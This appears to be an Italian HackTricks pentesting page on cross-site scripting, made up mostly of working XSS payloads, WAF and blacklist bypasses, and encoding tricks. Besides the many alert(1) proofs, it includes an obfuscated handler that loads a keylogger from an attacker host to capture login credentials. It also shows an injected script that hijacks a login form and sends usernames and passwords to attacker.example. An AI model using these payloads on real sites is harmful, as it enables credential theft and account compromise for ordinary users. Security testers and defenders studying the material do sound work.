%.*s
XSS (Cross Site Scripting)
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Metodologia
- Controlla se qualsiasi valore che controlli (parameters, path, headers?, cookies?) viene riflesso nell’HTML o usato dal JS.
- Trova il contesto in cui viene riflesso/usato.
- Se è riflesso
- Controlla quali simboli puoi usare e in base a questo prepara il payload:
- In raw HTML:
- Puoi creare nuovi tag HTML?
- Puoi usare eventi o attributi che supportano il protocollo
javascript:? - Puoi bypassare protezioni?
- Il contenuto HTML viene interpretato da qualche motore JS client side (AngularJS, VueJS, Mavo…), potresti abusare di una Client Side Template Injection.
- Se non puoi creare tag HTML che eseguano JS, puoi abusare di una Dangling Markup - HTML scriptless injection?
- All’interno di un tag HTML:
- Puoi uscire al contesto raw HTML?
- Puoi creare nuovi eventi/attributi per eseguire codice JS?
- L’attributo in cui sei intrappolato supporta l’esecuzione di JS?
- Puoi bypassare protezioni?
- All’interno di JavaScript code:
- Puoi evadere il tag
<script>? - Puoi evadere la stringa ed eseguire codice JS differente?
- I tuoi input sono in template literals ``?
- Puoi bypassare protezioni?
- Funzione Javascript che viene eseguita
- Puoi indicare il nome della funzione da eseguire. es.:
?callback=alert(1) - Se è usato:
- Potresti sfruttare una DOM XSS, presta attenzione a come il tuo input è controllato e se il tuo input controllato è usato da qualche sink.
Quando lavori su una XSS complessa potrebbe esserti utile sapere:
Valori riflessi
Per sfruttare con successo una XSS la prima cosa da trovare è un valore controllato da te che viene riflesso nella pagina web.
- Riflesso intermedio: Se trovi che il valore di un parametro o anche del path viene riflesso nella pagina web puoi sfruttare una Reflected XSS.
- Memorizzato e riflesso: Se trovi che un valore controllato da te viene salvato sul server e riflesso ogni volta che accedi a una pagina puoi sfruttare una Stored XSS.
- Accessibile via JS: Se trovi che un valore controllato da te viene accesso tramite JS puoi sfruttare una DOM XSS.
Contesti
Quando provi a sfruttare una XSS la prima cosa da sapere è dove viene riflesso il tuo input. A seconda del contesto, potrai eseguire codice JS arbitrario in modi differenti.
Raw HTML
Se il tuo input è riflesso nell’HTML raw della pagina dovrai abusare di qualche tag HTML per eseguire codice JS: <img , <iframe , <svg , <script … questi sono solo alcuni dei tanti tag HTML che puoi usare.
Ricordati anche di Client Side Template Injection.
All’interno dell’attributo di un tag HTML
Se il tuo input è riflesso all’interno del valore di un attributo di un tag puoi provare:
- Di evadere dall’attributo e dal tag (poi sarai nel raw HTML) e creare nuovi tag HTML da abusare:
"><img [...] - Se puoi evadere dall’attributo ma non dal tag (
>è codificato o rimosso), a seconda del tag puoi creare un evento che esegue codice JS:" autofocus onfocus=alert(1) x=" - Se non puoi evadere dall’attributo (
"viene codificato o rimosso), allora a seconda di quale attributo il tuo valore è riflesso se controlli tutto il valore o solo una parte potrai abusarne. Per esempio, se controlli un evento comeonclick=potrai farlo eseguire codice arbitrario quando viene cliccato. Un altro interessante esempio è l’attributohref, dove puoi usare il protocollojavascript:per eseguire codice arbitrario:href="javascript:alert(1)" - Se il tuo input è riflesso dentro “tag non sfruttabili” puoi provare il trucco
accesskeyper abusare della vuln (ti servirà qualche tipo di social engineering per sfruttarla):" accesskey="x" onclick="alert(1)" x="
Attribute-only login XSS behind WAFs
Una pagina di login SSO aziendale rifletteva il parametro OAuth service dentro l’attributo href di <a id="forgot_btn" ...>. Anche se < e > venivano HTML-encoded, le virgolette doppie non lo erano, quindi l’attaccante poteva chiudere l’attributo e riutilizzare lo stesso elemento per injectare handler come " onfocus="payload" x=".
- Injectare l’handler: payload semplici come
onclick="print(1)"venivano bloccati, ma il WAF ispezionava solo la prima istruzione JavaScript negli attributi inline. Prefissare un’espressione innocua racchiusa tra parentesi, poi un punto e virgola, permetteva al payload reale di eseguirsi:onfocus="(history.length);malicious_code_here". - Auto-trigger: i browser focalizzano qualsiasi elemento il cui
idcorrisponde al fragment, quindi aggiungere#forgot_btnall’URL dell’exploit forza l’anchor a ricevere il focus al caricamento della pagina ed esegue l’handler senza bisogno di un click. - Mantieni lo stub inline piccolo: il target già includeva jQuery. L’handler aveva solo bisogno di bootstrapare una richiesta tramite
$.getScript(...)mentre il keylogger completo stava sul server dell’attaccante.
Costruire stringhe senza virgolette
Le virgolette singole venivano ritornate URL-encoded e le virgolette doppie escape danneggiavano l’attributo, quindi il payload generava ogni stringa con String.fromCharCode. Una funzione helper rende facile convertire qualsiasi URL in char codes prima di incollarlo nell’attributo:
function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))
Un attributo risultante appariva così:
onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"
Perché questo ruba le credenziali
Lo script esterno (caricato da un host controllato dall’attaccante o da Burp Collaborator) ha intercettato document.onkeypress, ha memorizzato le battute, e ogni secondo eseguiva new Image().src = collaborator_url + keys. Poiché l’XSS si attiva solo per utenti non autenticati, l’azione sensibile è il modulo di login stesso — l’attaccante registra i tasti di nomi utente e password anche se la vittima non preme mai “Login”.
Esempio strano di Angular che esegue XSS se controlli un nome di classe:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
All’interno del codice JavaScript
In questo caso il tuo input viene riflesso tra i tag <script> [...] </script> di una pagina HTML, all’interno di un file .js o dentro un attributo che utilizza il protocollo javascript::
- Se riflesso tra i tag
<script> [...] </script>, anche se il tuo input è all’interno di qualsiasi tipo di virgolette, puoi provare a iniettare</script>e uscire da questo contesto. Questo funziona perché il browser prima analizzerà i tag HTML e poi il contenuto, quindi non noterà che il tuo tag</script>iniettato si trova all’interno del codice HTML. - Se riflesso inside a JS string e l’ultimo trucco non funziona dovrai uscire dalla stringa, eseguire il tuo codice e ricostruire il codice JS (se c’è qualche errore, non verrà eseguito:
'-alert(1)-'';-alert(1)//\';alert(1)//- Se riflesso all’interno di template literals puoi incorporare espressioni JS usando la sintassi
${ ... }:var greetings = `Hello, ${alert(1)}` - Unicode encode funziona per scrivere codice JavaScript valido:
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting references the opportunity to declare functions, variables or classes after they are used so you can abuse scenarios where a XSS is using undeclared variables or functions.
Consulta la seguente pagina per maggiori informazioni:
Javascript Function
Diverse pagine web hanno endpoint che accettano come parametro il nome della funzione da eseguire. Un esempio comune nel mondo reale è qualcosa del tipo: ?callback=callbackFunc.
Un buon modo per scoprire se qualcosa passato direttamente dall’utente viene eseguito è modificare il valore del parametro (per esempio in ‘Vulnerable’) e cercare nella console errori come:
.png)
Se è vulnerabile, potresti riuscire a scatenare un alert semplicemente inviando il valore: ?callback=alert(1). Tuttavia, è molto comune che questi endpoint validino il contenuto per consentire solo lettere, numeri, punti e underscore ([\w\._]).
Comunque, anche con questa limitazione è ancora possibile compiere alcune azioni. Questo perché puoi usare quei caratteri validi per accedere a qualsiasi elemento del DOM:
.png)
Alcune funzioni utili per questo:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
Puoi anche provare a trigger Javascript functions direttamente: obj.sales.delOrders.
Tuttavia, di solito gli endpoint che eseguono la funzione indicata sono endpoint senza un DOM molto interessante, other pages in the same origin avranno un DOM più interessante per svolgere più azioni.
Pertanto, per poter abuse this vulnerability in a different DOM è stato sviluppato lo sfruttamento Same Origin Method Execution (SOME):
SOME - Same Origin Method Execution
DOM
Esiste JS code che utilizza in modo unsafely alcuni data controlled by an attacker come location.href. Un attacker potrebbe abusarne per eseguire codice JS arbitrario.
Universal XSS
Questi tipi di XSS possono essere trovati ovunque. Non dipendono solo dallo sfruttamento lato client di una web application ma da qualsiasi contesto. Questi tipi di esecuzione arbitraria di JavaScript possono persino essere abusati per ottenere RCE, leggere file arbitrari sui client e server, e altro.
Alcuni esempi:
WAF bypass encoding image
.jpg)
Injecting inside raw HTML
Quando il tuo input viene riflesso inside the HTML page o puoi uscire ed iniettare codice HTML in questo contesto, la prima cosa che devi fare è controllare se puoi abusare di < per creare nuovi tag: prova a reflect quel char e verifica se viene HTML encoded o deleted oppure se viene reflected without changes. Solo nell’ultimo caso potrai sfruttare questa situazione.
Per questi casi tieni anche in considerazione Client Side Template Injection.
Nota: Un commento HTML può essere chiuso usando --> o --!>
In questo caso e se non viene usato black/whitelisting, potresti usare payloads come:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
Ma, se viene usato il black/whitelisting di tags/attributes, dovrai eseguire un brute-force per scoprire quali tag puoi creare.
Una volta che hai individuato quali tag sono consentiti, dovrai eseguire un brute-force sugli attributes/events all’interno dei tag validi trovati per vedere come puoi attaccare il contesto.
Tags/Events brute-force
Vai su https://portswigger.net/web-security/cross-site-scripting/cheat-sheet e clicca su Copy tags to clipboard. Poi inviali tutti usando Burp intruder e verifica se qualche tag non è stato rilevato come malicious dal WAF. Una volta scoperti i tag che puoi usare, puoi brute force all the events usando i tag validi (nella stessa pagina web clicca su Copy events to clipboard e segui la stessa procedura di prima).
Custom tags
Se non trovi alcun tag HTML valido, puoi provare a creare un tag personalizzato ed eseguire codice JS con l’attributo onfocus. Nella richiesta XSS, devi terminare l’URL con # per fare in modo che la pagina metta a fuoco quell’oggetto e esegua il codice:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Blacklist Bypasses
Se viene utilizzato qualche tipo di blacklist, puoi provare a bypassarla con alcuni trucchetti:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Bypass di lunghezza (small XSSs)
[!NOTE] > Altri tiny XSS payload per diversi ambienti possono essere trovati qui e qui.
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
L’ultimo usa 2 caratteri Unicode che si espandono in 5: telsr\
Più di questi caratteri si possono trovare qui.\
Per verificare in quali caratteri sono decomposti controlla qui.
Click XSS - Clickjacking
Se, per sfruttare la vulnerabilità, hai bisogno che l’user faccia click su un link o su un form con dati precompilati, puoi provare a abuse Clickjacking (se la pagina è vulnerabile).
Impossible - Dangling Markup
Se pensi che sia impossibile creare un tag HTML con un attributo per eseguire codice JS, dovresti controllare Danglig Markup perché potresti exploit la vulnerabilità senza eseguire codice JS.
Injecting inside HTML tag
Inside the tag/escaping from attribute value
Se sei all’interno di un tag HTML, la prima cosa che puoi provare è uscire dal tag e usare alcune delle tecniche menzionate nella previous section per eseguire codice JS.
Se non puoi uscire dal tag, puoi creare nuovi attributi all’interno del tag per provare a eseguire codice JS, per esempio usando un payload come (nota che in questo esempio le doppie virgolette sono usate per uscire dall’attributo, non ne avrai bisogno se il tuo input è riflesso direttamente all’interno del tag):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
Eventi di stile
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
All’interno dell’attributo
Anche se non puoi uscire dall’attributo (" viene codificato o cancellato), a seconda di quale attributo riflette il tuo valore e se controlli l’intero valore o solo una parte potrai abusarne. Per esempio, se controlli un evento come onclick= potrai farlo eseguire codice arbitrario quando viene cliccato.
Un altro interessante esempio è l’attributo href, dove puoi usare il protocollo javascript: per eseguire codice arbitrario: href="javascript:alert(1)"
Bypass all’interno dell’evento usando HTML encoding/URL encode
I caratteri HTML codificati all’interno del valore degli attributi dei tag HTML vengono decodificati a runtime. Di conseguenza qualcosa come il seguente sarà valido (il payload è in grassetto): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Go Back </a>
Nota che qualsiasi tipo di codifica HTML è valida:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
Nota che URL encode funzionerà anche:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Bypass all’interno dell’evento usando Unicode encode
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Protocolli speciali all’interno dell’attributo
Lì puoi usare i protocolli javascript: o data: in alcuni contesti per eseguire codice JS arbitrario. Alcuni richiederanno l’interazione dell’utente, altri no.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Posti dove puoi iniettare questi protocolli
In generale il protocollo javascript: può essere usato in qualsiasi tag che accetta l’attributo href e nella maggior parte dei tag che accettano l’attributo src (ma non <img>)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Altri trucchi di offuscamento
In questo caso la codifica HTML e il trucco della codifica Unicode della sezione precedente sono anch’essi validi poiché ti trovi all’interno di un attributo.
<a href="javascript:var a=''-alert(1)-''">
Inoltre, c’è un altro bel trucco per questi casi: Anche se il tuo input all’interno di javascript:... viene URL encoded, sarà URL decoded prima di essere eseguito. Quindi, se hai bisogno di uscire dalla stringa usando un apice singolo e vedi che viene URL encoded, ricordati che non importa, sarà interpretato come un apice singolo durante il tempo di esecuzione.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
Nota che se provi a usare entrambi URLencode + HTMLencode in qualsiasi ordine per codificare il payload non funzionerà, ma puoi mescolarli all’interno del payload.
Uso di Hex e Octal encode con javascript:
Puoi usare Hex e Octal encode all’interno dell’attributo src di iframe (almeno) per dichiarare tag HTML per eseguire JS:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
Se puoi iniettare qualunque URL in un tag arbitrario <a href= che contiene gli attributi target="_blank" and rel="opener", consulta la pagina seguente per sfruttare questo comportamento:
Bypass dei gestori di eventi “on”
Prima di tutto controlla questa pagina (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) per utili “on” event handlers.
Nel caso ci sia una blacklist che ti impedisca di creare questi event handlers, puoi provare i seguenti bypasses:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS in “tag non sfruttabili” (hidden input, link, canonical, meta)
Da qui ora è possibile abusare di hidden inputs con:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
E nei meta tag:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
Da here: Puoi eseguire un XSS payload inside a hidden attribute, a condizione di riuscire a persuadere la victim a premere la key combination. Su Firefox Windows/Linux la combinazione di tasti è ALT+SHIFT+X e su OS X è CTRL+ALT+X. Puoi specificare una combinazione diversa usando un tasto diverso nell’access key attribute. Ecco il vector:
<input type="hidden" accesskey="X" onclick="alert(1)">
Il payload XSS sarà qualcosa del genere: " accesskey="x" onclick="alert(1)" x="
Blacklist Bypasses
Diverse tecniche che utilizzano differenti encoding sono già state esposte in questa sezione. Torna indietro per imparare dove puoi usare:
- HTML encoding (HTML tags)
- Unicode encoding (can be valid JS code):
\u0061lert(1) - URL encoding
- Hex and Octal encoding
- data encoding
Bypass per tag e attributi HTML
Leggi la Blacklist Bypasses della sezione precedente.
Bypass per codice JavaScript
Leggi la JavaScript bypass blacklist della sezione seguente.
CSS-Gadgets
Se trovi una XSS in una parte molto piccola del sito che richiede qualche tipo di interazione (magari un piccolo link nel footer con un elemento onmouseover), puoi provare a modificare lo spazio che quell’elemento occupa per massimizzare la probabilità che il link venga attivato.
Per esempio, puoi aggiungere dello styling nell’elemento come: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Ma, se il WAF sta filtrando l’attributo style, puoi usare CSS Styling Gadgets, quindi se trovi, per esempio
.test {display:block; color: blue; width: 100%}
e
#someid {top: 0; font-family: Tahoma;}
Ora puoi modificare il nostro link e portarlo nella forma
<a href=“” id=someid class=test onclick=alert() a=“”>
Questo trucco è stato preso da https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Iniezione all’interno del codice JavaScript
In questo caso il tuo input verrà riflesso all’interno del codice JS di un file .js o tra tag <script>...</script> o in eventi HTML che possono eseguire codice JS o in attributi che accettano il protocollo javascript:.
Escape del <script> tag
Se il tuo codice è inserito all’interno di <script> [...] var input = 'reflected data' [...] </script>, puoi facilmente uscire chiudendo il tag <script>:
</script><img src=1 onerror=alert(document.domain)>
Nota che in questo esempio non abbiamo nemmeno chiuso l’apice singolo. Questo perché l’HTML viene parsato prima dal browser, il che comporta l’identificazione degli elementi della pagina, inclusi i blocchi di script. Il parsing di JavaScript per comprendere ed eseguire gli script incorporati viene eseguito solo successivamente.
All’interno del codice JS
Se <> vengono sanitizzati puoi comunque eseguire l’escape della stringa dove il tuo input è posizionato e eseguire JS arbitrario. È importante correggere la sintassi JS, perché se ci sono errori, il codice JS non verrà eseguito:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break → inject → repair pattern
Quando l’input dell’utente finisce all’interno di una stringa JavaScript tra virgolette (ad esempio, echo lato server in uno script inline), puoi terminare la stringa, iniettare codice e riparare la sintassi per mantenere il parsing valido. Scheletro generico:
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
Esempio di pattern URL quando il parametro vulnerabile viene riflesso in una stringa JS:
?param=test";<INJECTION>;a="
Questo esegue JS dell’attaccante senza bisogno di toccare il contesto HTML (puro JS-in-JS). Combine con blacklist bypasses below when filters block keywords.
Template literals ``
Per costruire strings oltre ai singoli e doppi apici JS accetta anche le backticks ``. Questo è noto come template literals in quanto permettono di incorporare espressioni JS usando la sintassi ${ ... }.
Quindi, se scopri che il tuo input viene riflesso all’interno di una JS string che usa backticks, puoi abusare della sintassi ${ ... } per eseguire arbitrary JS code:
Questo può essere abusato usando:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
Code execution codificato
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Payload deliverabili con eval(atob()) e sfumature di scope
Per mantenere gli URL più corti e bypassare filtri di parole chiave ingenui, puoi codificare in base64 la tua logica reale e valutarla con eval(atob('...')). Se un semplice filtraggio per parole chiave blocca identificatori come alert, eval o atob, usa identificatori Unicode-escaped che compilano in modo identico nel browser ma eludono i filtri basati sulla corrispondenza di stringhe:
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
Importante: sottigliezza sull’ambito (scoping): const/let dichiarati all’interno di eval() hanno ambito di blocco e NON creano globals; non saranno accessibili agli script successivi. Usa un elemento <script> iniettato dinamicamente per definire hook globali non-riassegnabili quando necessario (e.g., to hijack a form handler):
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
Riferimento: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Esecuzione JS con codifica Unicode
alert(1)
alert(1)
alert(1)
Tecniche di bypass delle blacklist in JavaScript
Strings
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
Escape speciali
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
Sostituzioni di spazi all’interno del codice JS
<TAB>
/**/
Commenti JavaScript (dal JavaScript Comments trucco)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript new lines (da JavaScript new line trucco)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
JavaScript spazi bianchi
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Javascript all’interno di un commento
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript senza parentesi
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
